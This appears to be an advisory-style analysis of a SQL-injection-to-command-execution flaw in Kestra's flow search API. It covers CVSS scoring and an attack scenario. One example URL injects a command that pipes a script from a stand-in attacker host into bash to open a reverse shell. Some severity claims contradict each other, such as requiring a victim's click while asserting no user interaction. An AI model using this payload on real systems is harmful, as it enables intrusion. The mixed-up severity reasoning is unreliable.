Kestra CVE-2026-34612

Kestra versions before 1.3.7 in default docker-compose deployment. Attacker requires valid authenticated user credentials. Victim must visit a crafted link containing SQL injection payload targeting GET /api/v1/main/flows/search endpoint. PostgreSQL executes arbitrary OS commands via COPY...TO PROGRAM.

This vulnerability presents critical real-world risk despite requiring low-privilege authentication (PR:L). The CVSS 9.9 score accurately reflects severity due to network attack vector (AV:N), low complexity (AC:L), no user interaction (UI:N), scope change (S:C indicating container/host boundary crossing), and complete CIA impact. The scope change metric is particularly significant as it indicates potential container escape or lateral movement beyond the application boundary. Attack complexity is genuinely low - visiting a crafted URL triggers exploitation automatically without timing dependencies or race conditions. While no EPSS score or KEV status is provided in the input data, the combination of public exploit code availability (GitHub commit 3926762 provides technical details of the fix, enabling reverse-engineering), Docker deployment prevalence, and the one-click nature of exploitation (no UI required) create favorable conditions for opportunistic scanning and exploitation. The SSVC framework would likely categorize this as requiring urgent remediation: exploitation is straightforward given the commit details, the vulnerability is automatable via URL parameter manipulation, and technical impact enables full system compromise. Organizations running default Kestra docker-compose deployments face immediate risk of database compromise and potential host system access.

An attacker with valid low-privilege credentials (such as a workflow developer account) crafts a malicious URL containing SQL injection payloads in the flow search parameters, for example: https://kestra-instance/api/v1/main/flows/search?query='; COPY (SELECT '') TO PROGRAM 'curl attacker.com/shell.sh | bash'--. When an authenticated user clicks this link or when the attacker accesses it with their own credentials, the PostgreSQL backend executes the injected SQL, invoking COPY TO PROGRAM to download and execute a reverse shell on the database container. The attacker gains code execution with PostgreSQL service privileges, potentially pivoting to other containers or the host system through shared Docker networks or mounted volumes. Publicly available exploit code exists in the form of the patching commit, which reveals the vulnerable code paths and exploitation methodology.